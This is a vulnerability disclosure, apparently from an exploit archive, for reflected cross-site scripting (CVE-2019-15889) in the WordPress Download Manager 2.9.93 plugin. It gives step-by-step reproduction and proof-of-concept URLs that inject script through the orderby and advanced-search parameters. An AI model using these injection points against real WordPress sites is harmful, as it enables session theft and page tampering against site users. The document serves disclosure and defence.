[webapps] WordPress Plugin Download Manager 2.9.93 - Cross-Site Scripting

* Exploit Title: WordPress Download Manager Cross-site Scripting
* Discovery Date: 2019-04-13
* Exploit Author: ThuraMoeMyint
* Author Link: https://twitter.com/mgthuramoemyint
* Vendor Homepage: https://www.wpdownloadmanager.com
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.93
* Category: WebApps, WordPress
CVE:CVE-2019-15889
Description
-- In the pro features of the WordPress download manager plugin, there is
a Category Short-code feature witch can use to sort categories with
order by a function which will be used as ?orderby=title,publish_date
.
By adding parameter "> and add any XSS payload , the xss payload will execute. To reproduce, 1.Go to the link where we can find ?orderby
2.Add parameters >” and give simple payload like alert(1)
3.The payload will execute.
-- PoC
-- Order   class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date">alert(11)&order=asc">Asc class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date">alert(11)&order=desc">Desc --
Demo
--
https://server/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc
-- Another reflected cross-site scripting via advance search https://server/wpdmpro/advanced-search/ https://server/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a

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